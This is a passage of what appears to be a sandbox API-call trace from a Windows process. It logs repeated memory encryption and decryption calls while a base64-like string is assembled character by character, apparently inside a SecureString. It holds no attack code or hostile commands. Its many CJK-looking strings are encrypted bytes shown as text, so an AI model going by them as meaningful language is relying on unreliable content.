lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.236] EtwEventActivityIdControl () returned 0x0 [0221.236] EtwEventActivityIdControl () returned 0x0 [0221.236] EtwEventActivityIdControl () returned 0x0 [0221.237] SysStringLen (param_1="") returned 0x8 [0221.237] SysStringLen (param_1="N") returned 0x8 [0221.238] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.238] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0221.238] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0221.238] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.239] SysStringLen (param_1="ND") returned 0x8 [0221.239] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.239] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0221.239] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0221.239] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.248] SysStringLen (param_1="NDZ") returned 0x8 [0221.248] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.248] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0221.248] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0221.248] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.249] SysStringLen (param_1="NDZl") returned 0x8 [0221.249] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.249] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0221.249] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0221.249] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.250] SysStringLen (param_1="NDZlO") returned 0x8 [0221.250] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.250] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0221.250] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0221.250] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.251] SysStringLen (param_1="NDZlOD") returned 0x8 [0221.251] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.251] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0221.251] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0221.251] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.252] SysStringLen (param_1="NDZlODR") returned 0x8 [0221.252] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.252] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0221.252] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0221.252] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.253] SysStringLen (param_1="NDZlODRm") returned 0x8 [0221.253] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0221.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0221.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0221.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0221.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0221.255] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.255] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0221.351] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.351] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0221.351] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0221.351] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.351] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0221.351] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0221.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0221.352] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.352] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0221.352] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0221.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0221.352] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.352] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0221.352] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0221.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0221.352] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.353] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0221.353] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0221.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0221.353] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.353] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0221.353] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0221.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0221.353] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.353] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0221.353] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0221.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0221.354] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.354] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0221.354] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0221.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0221.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0221.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0221.355] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.355] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0221.355] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0221.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0221.355] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.355] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0221.355] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0221.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0221.355] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.356] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0221.356] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0221.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0221.356] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.356] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0221.356] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0221.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0221.356] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.356] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0221.356] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0221.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0221.357] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.357] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0221.357] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0221.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0221.357] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.357] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0221.357] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0221.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0221.357] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.358] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0221.358] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0221.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0221.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0221.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0221.358] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.358] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0221.359] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0221.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0221.359] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.359] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0221.359] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0221.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0221.359] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.359] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0221.359] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0221.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0221.359] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.360] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0221.360] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0221.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0221.360] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.360] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0221.360] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0221.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0221.360] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.360] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0221.360] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0221.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0221.361] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.361] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0221.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0221.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0221.361] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.361] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0221.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0221.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0221.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0221.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0221.362] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.362] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0221.362] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0221.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0221.362] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.363] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0221.363] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0221.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0221.363] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.363] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0221.363] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0221.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0221.363] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.363] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0221.363] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0221.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0221.364] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.364] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0221.364] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0221.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0221.364] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.364] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0221.364] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0221.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0221.365] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0221.365] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0221.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0221.365] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0221.365] 